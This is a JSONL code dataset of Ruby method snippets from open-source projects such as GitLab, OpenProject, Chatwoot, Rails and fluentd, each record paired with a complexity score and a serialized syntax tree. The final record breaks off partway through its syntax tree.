{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/registry/tags_controller.rb","start_line":55,"raw_source":"def tags\n        Kaminari::PaginatableArray.new(image.tags, limit: LIMIT)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kaminari\"]},\"PaginatableArray\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image\"]},\"tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"LIMIT\"]}]}]}]}]}","id":"9bd9ef76-1af3-410a-bbf1-a5e3c72510db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/policies/group_policy_table_shared_context.rb","start_line":9,"raw_source":"def permission_table_for_epics_access # rubocop:disable Metrics/AbcSize -- needed for visibility specs\n    :public   | :admin      | true  | 1\n    :public   | :admin      | false | 1\n    :public   | :admin      | true  | 1\n    :public   | :admin      | false | 1\n    :public   | :planner    | nil   | 1\n    :public   | :reporter   | nil   | 1\n    :public   | :guest      | nil   | 1\n    :public   | :non_member | nil   | 1\n    :public   | :anonymous  | nil   | 1\n\n    :internal | :admin      | true  | 1\n    :internal | :admin      | false | 1\n    :internal | :reporter   | nil   | 1\n    :internal | :planner    | nil   | 1\n    :internal | :guest      | nil   | 1\n    :internal | :non_member | nil   | 1\n    :internal | :anonymous  | nil   | 0\n\n    :private  | :admin      | true  | 1\n    :private  | :admin      | false | 0\n    :private  | :reporter   | nil   | 1\n    :private  | :planner    | nil   | 1\n    :private  | :guest      | nil   | 1\n    :private  | :non_member | nil   | 0\n    :private  | :anonymous  | nil   | 0\n  end","complexity_score":88.5,"ast_json":"{\"type\":\"def\",\"children\":[\"permission_table_for_epics_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"true\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"false\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"true\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"false\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"planner\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"reporter\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"guest\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"non_member\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"anonymous\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"true\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"false\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"reporter\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"planner\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"guest\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"non_member\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"anonymous\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"true\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"false\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"reporter\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"planner\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"guest\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"non_member\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"anonymous\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"d072603c-e9e1-4da5-b262-7034e03b4d09"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/shared_resource_deletion.rb","start_line":132,"raw_source":"def log_marked_for_deletion(resource)\n        path = resource_path(resource)\n        logger.info(\"\\e[32mSUCCESS\\e[0m: Marked #{resource[:type]} #{path} for deletion\\n\")\n        [\"marked_deletions\", resource]\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_marked_for_deletion\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"resource_path\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u001b[32mSUCCESS\\u001b[0m: Marked \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" for deletion\\n\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"marked_deletions\"]},{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]}]}","id":"767e68b8-425a-4e46-8da5-6bc21a8e9193"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/repositories_controller.rb","start_line":456,"raw_source":"def render_text_entry\n    # Prevent empty lines when displaying a file with Windows style eol\n    # TODO: UTF-16\n    # Is this needs? AttachmentsController reads file simply.\n    @content.gsub!(\"\\r\\n\", \"\\n\")\n    @changeset = @repository.find_changeset_by_name(@rev)\n\n    # Forcing html format here to avoid\n    # rails looking for e.g text when .txt is asked for\n    render \"entry\", formats: [:html]\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_text_entry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@changeset\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"find_changeset_by_name\",{\"type\":\"ivar\",\"children\":[\"@rev\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"entry\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]}]}]}]}","id":"2945f49d-f7a4-4c37-9f8b-5f998ef04f39"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/groups_controller.rb","start_line":41,"raw_source":"def index\n    @groups = Group.order(Arel.sql(\"lastname ASC\"))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@groups\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"lastname ASC\"]}]}]}]}]}","id":"19eb1eaa-e055-4079-8344-91facb0df040"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/issues/get_project_issues_spec.rb","start_line":823,"raw_source":"def create_referencing_mr(user, project, issue)\n      attributes = {\n        author: user,\n        source_project: project,\n        target_project: project,\n        source_branch: 'master',\n        target_branch: 'test',\n        description: \"See #{issue.to_reference}\"\n      }\n      create(:merge_request, attributes).tap do |merge_request|\n        create(:note, :system, project: issue.project, noteable: issue, author: user, note: merge_request.to_reference(full: true))\n      end\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_referencing_mr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch\"]},{\"type\":\"str\",\"children\":[\"master\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch\"]},{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"See \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"to_reference\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"sym\",\"children\":[\"system\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"to_reference\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}]}","id":"3c0da3e2-15a0-453d-ac6b-1d2e130186a9"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/custom_markdown_renderer.rb","start_line":81,"raw_source":"def parse_sup(content)\n    content.split(/(\\^[^\\^]+\\^)/).map do |segment|\n      if segment.start_with?('^') && segment.end_with?('^')\n        \"<sup>#{escape_html(segment[1..-2])}</sup>\"\n      else\n        escape_html(segment)\n      end\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_sup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\^[^\\\\^]+\\\\^)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"segment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"^\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"^\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<sup>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"escape_html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-2]}]}]}]}]},{\"type\":\"str\",\"children\":[\"</sup>\"]}]},{\"type\":\"send\",\"children\":[null,\"escape_html\",{\"type\":\"lvar\",\"children\":[\"segment\"]}]}]}]}]}","id":"b8913324-424c-4a10-9f80-713482d15589"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/filter_redirect.rb","start_line":37,"raw_source":"def parameter_filtered_location\n        uri = URI.parse(location)\n        unless uri.query.nil? || uri.query.empty?\n          parts = uri.query.split(/([&;])/)\n          filtered_parts = parts.map do |part|\n            if part.include?(\"=\")\n              key, value = part.split(\"=\", 2)\n              request.parameter_filter.filter(key => value).first.join(\"=\")\n            else\n              part\n            end\n          end\n          uri.query = filtered_parts.join(\"\")\n        end\n        uri.to_s\n      rescue URI::Error\n        FILTERED\n      end","complexity_score":46.18,"ast_json":"{\"type\":\"def\",\"children\":[\"parameter_filtered_location\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"location\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query\"]},\"empty?\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([&;])\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filtered_parts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"include?\",{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"parameter_filter\"]},\"filter\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},\"first\"]},\"join\",{\"type\":\"str\",\"children\":[\"=\"]}]}]},{\"type\":\"lvar\",\"children\":[\"part\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filtered_parts\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"Error\"]}]},null,{\"type\":\"const\",\"children\":[null,\"FILTERED\"]}]},null]}]}","id":"8671fbbe-88bc-474f-b5d4-6582708578da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/lock_rows.rb","start_line":64,"raw_source":"def find_extra_locks(expected_locks)\n    lock_recorder.locks.reject { |key, _| expected_locks.key?(key) }\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_extra_locks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected_locks\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lock_recorder\"]},\"locks\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_locks\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"99bd1df2-92d3-41b1-9fed-bb9f69c4659b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/nextcloud/commands/add_user_to_group_command_spec.rb","start_line":126,"raw_source":"def create_group(authentication, storage, group)\n              authentication.call(storage:, http_options: { headers: { \"OCS-APIRequest\" => \"true\" } }) do |http|\n                http.post(UrlBuilder.url(storage.uri, \"ocs/v1.php/cloud/groups\"),\n                          form: { \"groupid\" => group })\n              end\n            end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"authentication\"]},{\"type\":\"arg\",\"children\":[\"storage\"]},{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authentication\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"OCS-APIRequest\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"uri\"]},{\"type\":\"str\",\"children\":[\"ocs/v1.php/cloud/groups\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"groupid\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]}]}]}]}","id":"ed877b88-d0a0-4d15-b2c3-57b235d34dd0"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":625,"raw_source":"def configure(conf)\n        bufconf = CompatOutputUtils.buffer_section(conf)\n        config_style = (bufconf ? :v1 : :v0)\n        if config_style == :v0\n          buf_params = {\n            \"flush_mode\" => (conf['flush_interval'] ? \"interval\" : \"lazy\"),\n            \"retry_type\" => \"exponential_backoff\",\n          }\n          BUFFER_PARAMS.each do |older, newer|\n            next unless newer\n            if conf.has_key?(older)\n              if older == 'buffer_queue_full_action' && conf[older] == 'exception'\n                buf_params[newer] = 'throw_exception'\n              else\n                buf_params[newer] = conf[older]\n              end\n            end\n          end\n\n          if conf['timezone']\n            Fluent::Timezone.validate!(conf['timezone'])\n          elsif conf['utc']\n            # v0.12 assumes UTC without any configuration\n            # 'localtime=false && no timezone key' means UTC\n            conf['localtime'] = \"false\"\n            conf.delete('utc')\n          elsif conf['localtime']\n            conf['timezone'] = Time.now.strftime('%z')\n            conf['localtime'] = \"true\"\n          else\n            # v0.12 assumes UTC without any configuration\n            # 'localtime=false && no timezone key' means UTC\n            conf['localtime'] = \"false\"\n          end\n\n          @_timekey = case conf['time_slice_format']\n                      when /\\%S/ then 1\n                      when /\\%M/ then 60\n                      when /\\%H/ then 3600\n                      when /\\%d/ then 86400\n                      when nil   then 86400 # default value of TimeSlicedOutput.time_slice_format is '%Y%m%d'\n                      else\n                        raise Fluent::ConfigError, \"time_slice_format only with %Y or %m is too long\"\n                      end\n          buf_params[\"timekey\"] = @_timekey\n\n          conf.elements << Fluent::Config::Element.new('buffer', 'time', buf_params, [])\n        end\n\n        ParserUtils.convert_parser_conf(conf)\n        FormatterUtils.convert_formatter_conf(conf)\n\n        super\n\n        if config_style == :v1\n          if @buffer_config.chunk_keys == ['tag']\n            raise Fluent::ConfigError, \"this plugin '#{self.class}' allows <buffer tag> only\"\n          end\n        end\n\n        self.extend TimeSliceChunkMixin\n      end","complexity_score":81.15,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bufconf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CompatOutputUtils\"]},\"buffer_section\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config_style\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufconf\"]},{\"type\":\"sym\",\"children\":[\"v1\"]},{\"type\":\"sym\",\"children\":[\"v0\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"v0\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"flush_mode\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"flush_interval\"]}]},{\"type\":\"str\",\"children\":[\"interval\"]},{\"type\":\"str\",\"children\":[\"lazy\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"retry_type\"]},{\"type\":\"str\",\"children\":[\"exponential_backoff\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BUFFER_PARAMS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"older\"]},{\"type\":\"arg\",\"